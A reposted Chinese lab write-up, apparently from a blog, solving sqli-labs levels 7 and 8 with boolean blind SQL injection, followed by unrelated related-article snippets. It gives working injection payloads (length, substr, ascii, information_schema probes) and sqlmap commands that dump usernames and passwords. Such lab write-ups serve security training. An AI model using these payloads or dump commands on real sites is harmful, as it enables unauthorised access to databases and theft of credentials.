sqli-labs靶場通關筆記:第7-8關 布爾盲注

第七關

1.審題

這里判斷出是'))閉合,但是頁面只有正確和錯誤的回顯狀態,報錯的回顯也是固定的,沒有顯示報錯具體信息。

這關使用的方法是布爾盲注。為什么叫布爾盲注?因為它返回的結果只有true和false?兩個值,攻擊者需要通過返回的布爾值去猜測結果,就像盲人一樣。

2.思考

(1)猜長度

length()函數是計算字符串長度,先構造一個簡單的語句。

//判斷當前數據庫名的字符串長度是否大于10;
?id=1')) and length(database()) > 10 --+

通過頁面回顯,可以判斷數據庫名稱長度大于5但是小于10,利用二分法最后猜測出數據庫名的長為8個字符。

已經知道了數據庫名的長,假設再去猜測每一位上的字符,是不是就可以得到數據庫名稱。

(2)猜位的字符

substr()函數作用是截取指定位置的字符,ascii()函數作用是返回字符的ascii碼值(0-255范圍的整數)。

//判斷數據庫名稱的第一位字符是否在大寫字母范圍內;
?id=1')) and ascii(substr(database(),1,1)) between 65 and 90--+

雖然ascii碼的值是從0-255,但字母A-Z的范圍是65-90,a-z范圍是97-122。首先判斷字符是不是字母,然后進一步縮小猜測范圍。

這里判斷出第一位字符是小寫字母,再利用二分法猜測具體字母,最后得出首字符是s。

那么通過逐步猜測,就可以拿到數據庫的名稱。再結合limit()函數去枚舉數據庫下的表名,字段,最后拿到想要的數據。

//查詢當前數據庫下第一張表的首位字符是否為小寫字母;
?id=1')) and 
ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
) 
between 97 and 122 --+

3.做法

(1)手工注入

根據思考的邏輯去逐步猜測數據。

(2)工具注入

?sqlmap的簡單使用

//查詢數據庫

sqlmap -u 'http://xx.xx.xx/?id=1' --dbs

//查詢指定數據庫security中的表

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' --tables

//查詢指定表users中的字段

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users' --columns

//查詢指定字段的數據

sqlmap -u 'http://xx.xx.xx/?id=1' -D'security' -T'users'? -C'username,password' --dump

?

第8關

這里也只有兩種頁面顯示,圖二沒有任何回顯,但可以理解為報錯,實際上這關把輸出報錯的代碼注釋掉了。

判斷出是單引號閉合,利用布爾盲注解題。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/90769.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/90769.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/90769.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

理解支持向量機(SVM):理論、數學和實現的綜合指南

支持向量機(SVMs)是強大的監督學習算法,用于分類和回歸任務,盡管它們主要用于分類。由Vladimir Vapnik及其同事在1990年代引入,SVMs基于統計學習理論,特別適用于需要將數據點穩健分離到不同類別的任務。本博…

使用Navicat對PostgreSQL數據表添加列,自動記錄當前行的添加日期

點開表設計,向如下這樣一個字段: 字段名稱可以自定義,博主這里叫做:add_date_time類型選擇:timestamp長度寫成:6默認值輸入:CURRENT_TIMESTAMP 添加行:默認值:

VR協作海外云:跨國企業沉浸式辦公解決方案

隨著全球化進程加速,VR協作海外云正成為跨國企業數字化轉型的核心解決方案。本文將深入解析這項技術如何突破地理限制,實現沉浸式遠程協作,并探討其在跨文化團隊管理、實時3D數據交互等場景中的獨特優勢。 VR協作海外云:跨國企業沉…

[ESP32]VSCODE+ESP-IDF環境搭建及blink例程嘗試(win10 win11均配置成功)

ps:這是你為了點燈最繁瑣的一次 1.軟件下載 vscode下載地址:Documentation for Visual Studio Codeesp_idf下載地址:https://dl.espressif.cn/dl/esp-idf/?idf4.4 (從上往下第三) 2.軟件安裝 可以均默認安裝,但建議不要放在C盤&…

tailwindcss詳解

Tailwind CSS 詳解:實用主義的現代 CSS 框架 Tailwind CSS 是一個功能優先(utility-first)的 CSS 框架,它通過提供低級別的實用類來快速構建自定義設計,而無需離開 HTML 文件。以下是全面解析: 一、核心概念…

[spring6: TypeFilter MetadataReader MetadataReaderFactory]-源碼解析

源碼 MetadataReaderFactory MetadataReaderFactory 是用于創建 MetadataReader 實例的工廠接口,支持通過類名或資源讀取類的元數據并可實現緩存優化。類型類/接口名功能描述是否需要加載類訪問方式抽象接口AnnotatedTypeMetadata訪問某類型(類或方法&am…

基于redis的分布式session共享管理之銷毀事件不生效問題

一、前言首先介紹下分布式session共享管理在Springboot項目中,經常提到分布式的概念,當實際部署應用后,多臺服務器各自存儲用戶登錄會話無法共享,導致操作A按鈕還是正常,操作B按鈕就提示登錄過期需要重新登錄。這是因為…

技術面試問題總結二

一、lvs的四種工作模式: LVS 有四種主要工作模式:NAT 模式、DR 模式、TUN 模式和Full-NAT 模式 1、NAT模式: 工作原理 LVS 作為客戶端和真實服務器(RS)之間的中間節點,接收客戶端請求后,修改請求的目標…

軟考(軟件設計師)軟件工程-軟件過程模型,敏捷開發

軟件過程模型 瀑布模型 #mermaid-svg-daxck2eQmqfYelkV {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-daxck2eQmqfYelkV .error-icon{fill:#552222;}#mermaid-svg-daxck2eQmqfYelkV .error-text{fill:#552222;stro…

MySQL 中圖標字符存儲問題探究:成因、解決方案及單字段編碼調整的利弊分析——仙盟創夢IDE

在 MySQL 數據庫應用中,常出現無法正確保存圖標字符,讀出時顯示為 “????” 的問題。本文深入剖析了該問題產生的原因,主要涉及字符編碼設置不匹配等因素。同時,提出了全面的解決方案,包括全局和單字段的字符編碼調…

快速上手UniApp(適用于有Vue3基礎的)

作為一位有Vue3基礎的開發者,學習UniApp將會是一個相對平滑的過程。UniApp是一個使用Vue.js開發跨平臺應用的前端框架,可以編譯到iOS、Android、H5以及各種小程序平臺。 一、UniApp簡介 UniApp是基于Vue.js的跨平臺開發框架,具有以下特點&a…

background和background-color的區別

前言:由于全局切換變量時,發現空頁面按鈕變量顏色未生效,審查元素發現變量未定義。實際上是背景色由純色變成了漸變色,而background-color不支持漸變色導致變量不生效特性backgroundbackground-color功能設置?所有?背景屬性&…

Vue Vue-route (5)

Vue 漸進式JavaScript 框架 基于Vue2的學習筆記 - Vue-route History模式和路由懶加載 目錄 History模式 設置history模式 后端配置 Apache 路由懶加載 配置 總結 History模式 設置history模式 Vue-route默認hash模式——使用URL的hash來模擬一個完整的URL&#xff0c…

家用智能攝像機PRV文件刪除的恢復方法

家用智能攝像頭一般采用的是mp4或者mov視頻方案,這一類方案文件通用性強、使用簡單,以MP4為例無論是APP在線播放還是TF卡接電腦查看都很輕松。即便如此,有些廠商還是走上了“自定義”的道路,自定義的文件結構導致無法正常播放&…

聊下easyexcel導出

直接上干貨&#xff0c;首先pom文件引入依賴 <dependency><groupId>com.alibaba</groupId><artifactId>easyexcel</artifactId><version>3.1.1</version></dependency>接下來是java代碼 public void export(List<Liquidity…

[Python] Flask 多線程繪圖時報錯“main thread is not in main loop”的解決方案

在構建基于 Flask 的后端服務過程中,使用 matplotlib 繪圖時,很多開發者會遇到一個經典的運行時錯誤: RuntimeError: main thread is not in main loop這通常出現在服務開啟多線程時調用 matplotlib,本文將從原理、解決方式到部署建議進行全面解析。 一、問題來源:matpl…

dbEaver連接hbase,各種問題的終極解決

網上有不少文章&#xff0c;但基本都不行&#xff0c;主要還是hbase版本和phoenix版本的問題&#xff0c;經我測試&#xff0c;如下方法保證能連接成功。 1、下載phoenix: https://phoenix.apache.org/download.html 要選擇和你的hbase版本對應的版本。 2、解壓phoenix-hbase-2…

selenium中find_element()用法進行元素定位

1. 導入必要的模塊首先需要導入 By 類&#xff1a;from selenium.webdriver.common.by import By2. 常用定位方式(1) 通過ID定位element driver.find_element(By.ID, "username") element.send_keys("testuser") # 輸入內容 (2) 通過Name定位element dr…

第八講~~數據庫技術

前言&#xff1a;什么是數據庫&#xff1f;存儲數據的倉庫。常見的數據庫有哪些&#xff1f;————SQL Server&#xff08;數據庫較大 5G&#xff09;————Access————Oracle&#xff08;大型數據庫700多兆-200多兆&#xff09;&#xff08;付費&#xff09;————My…

無人機雷達模塊運行與技術解析

一、運行方式1. 傳感器數據采集 雷達發射高頻電磁波&#xff08;X/Ku波段或毫米波&#xff09;&#xff0c;接收無人機反射的回波信號。 多傳感器協同&#xff1a;雷達與光電、無線電偵測、聲學設備并行掃描空域&#xff0c;覆蓋不同頻段與物理特性&#xff08;如熱信號、聲紋…